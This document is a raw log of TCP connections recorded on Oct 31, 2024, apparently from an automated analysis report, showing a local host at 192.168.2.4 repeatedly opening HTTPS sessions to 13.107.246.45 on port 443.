Oct 31, 2024 07:15:46.302495003 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.302670002 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.302680969 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.309957981 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.310029030 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.310090065 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.310117960 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.310144901 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.310199022 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.310235977 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.310251951 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.310251951 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.310261965 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.310271025 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.311965942 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.311985970 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.312063932 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.312158108 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.312171936 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.350785017 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.350852013 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.350915909 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.350946903 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.350966930 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.351028919 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.351155043 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.351171970 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.351182938 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.351188898 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.353647947 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.353667021 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.353739977 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.353921890 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.353940010 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.902203083 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.906801939 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.906816006 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.907291889 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.907295942 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.975492954 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.977008104 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.977029085 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.980803013 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.980814934 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.034346104 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.034395933 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.034451008 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.039371967 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.045589924 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.062252045 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.062273026 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.062284946 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.062292099 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.073791027 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.073807001 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.074224949 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.074229956 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.074465036 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.074477911 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.074820042 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.074825048 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.095122099 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.095144033 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.095207930 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.095467091 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.095479965 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.097616911 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.097955942 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.097971916 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.098325968 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.098330975 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.108463049 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.108505011 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.108557940 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.111490965 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.111510992 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.111525059 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.111536026 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.161623955 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.161685944 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.161835909 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.161959887 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.161983013 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.201687098 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.201754093 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.201864004 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.201888084 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.201996088 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.202111006 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.202184916 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.202280998 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.202434063 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.202451944 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.202466011 CET	49999	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.202472925 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.202475071 CET	443	49999	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.202480078 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.202491999 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.202500105 CET	443	49998	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.205080032 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.205097914 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.205157995 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.205174923 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.205184937 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.205240965 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.205307961 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.205321074 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.205404997 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.205419064 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.234009027 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.234152079 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.234210014 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.234261990 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.234261990 CET	50000	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.234280109 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.234292030 CET	443	50000	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.236166954 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.236181974 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.236242056 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.236363888 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.236372948 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.841288090 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.841751099 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.841774940 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.842221975 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.842226982 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.898494959 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.899022102 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.899059057 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.899444103 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.899454117 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.934931040 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.935255051 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.935266972 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.935661077 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.935666084 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.939690113 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.940013885 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.940030098 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.940407991 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.940412045 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.978121996 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.978166103 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.978230000 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.978399038 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.978411913 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.978421926 CET	50001	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.978426933 CET	443	50001	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.981013060 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.981050968 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:47.981128931 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.981244087 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:47.981256962 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.010051966 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.010756969 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.010770082 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.011219978 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.011224031 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.030381918 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.030402899 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.030432940 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.030471087 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.030499935 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.030637980 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.030663013 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.030675888 CET	50002	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.030682087 CET	443	50002	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.032830000 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.032849073 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.032922029 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.033051014 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.033063889 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.065234900 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.065305948 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.065363884 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.065496922 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.065511942 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.065522909 CET	50004	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.065530062 CET	443	50004	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.067708015 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.067753077 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.067810059 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.067929029 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.067941904 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.069813967 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.069869995 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.069920063 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.069942951 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.070046902 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.070055008 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.070060015 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.070105076 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.070106983 CET	50003	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.070120096 CET	443	50003	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.071983099 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.072014093 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.072083950 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.072424889 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.072438002 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.146758080 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.146809101 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.146869898 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.146878004 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.146929979 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.146977901 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.147120953 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.147126913 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.147140980 CET	50005	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.147145033 CET	443	50005	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.149529934 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.149557114 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:48.149631023 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.149769068 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:48.149772882 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.560283899 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.560976982 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.560997963 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.561438084 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.561444998 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.562393904 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.563030005 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.563047886 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.563395023 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.563399076 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.567694902 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.567934036 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.567956924 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.568275928 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.568281889 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.575213909 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.575680971 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.575701952 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.576059103 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.576064110 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.669800043 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.670238018 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.670258045 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.670917988 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.670923948 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.688319921 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.688337088 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.688380957 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.688386917 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.688421965 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.688621044 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.688637972 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.688647985 CET	50006	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.688652992 CET	443	50006	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.691019058 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.691040993 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.691108942 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.691247940 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.691262960 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.693258047 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.693274975 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.693320990 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.693325043 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.693365097 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.693527937 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.693538904 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.693547010 CET	50007	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.693551064 CET	443	50007	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.696167946 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.696235895 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.696309090 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.696413994 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.696446896 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.697058916 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.697228909 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.697278023 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.697307110 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.697307110 CET	50009	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.697314978 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.697325945 CET	443	50009	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.699225903 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.699249983 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.699362993 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.699467897 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.699481964 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.703090906 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.703233004 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.703289032 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.703316927 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.703316927 CET	50008	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.703330040 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.703339100 CET	443	50008	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.705020905 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.705044031 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.705116034 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.705219030 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.705245018 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.799002886 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.799149990 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.799220085 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.802342892 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.802354097 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.802381992 CET	50010	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.802386999 CET	443	50010	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.805301905 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.805324078 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:49.805393934 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.805557013 CET	50015	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:49.805569887 CET	443	50015	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.414500952 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.414973021 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.415040016 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.415446997 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.415462017 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.416659117 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.417023897 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.417040110 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.417393923 CET	50011	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.417398930 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.430371046 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.430821896 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.430838108 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.431308985 CET	50013	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.431318998 CET	443	50013	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.466845036 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.467845917 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.467876911 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.468636990 CET	50014	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.468651056 CET	443	50014	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.541219950 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.541249990 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.541292906 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.541320086 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.541357994 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.541610956 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.541645050 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.541671038 CET	50012	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.541686058 CET	443	50012	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.544635057 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.544691086 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.544754028 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.544893980 CET	50016	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:50.544909000 CET	443	50016	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.546055079 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.546113968 CET	443	50011	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:50.546156883 CET	50011	443	192.168.2.4	13.107.246.45
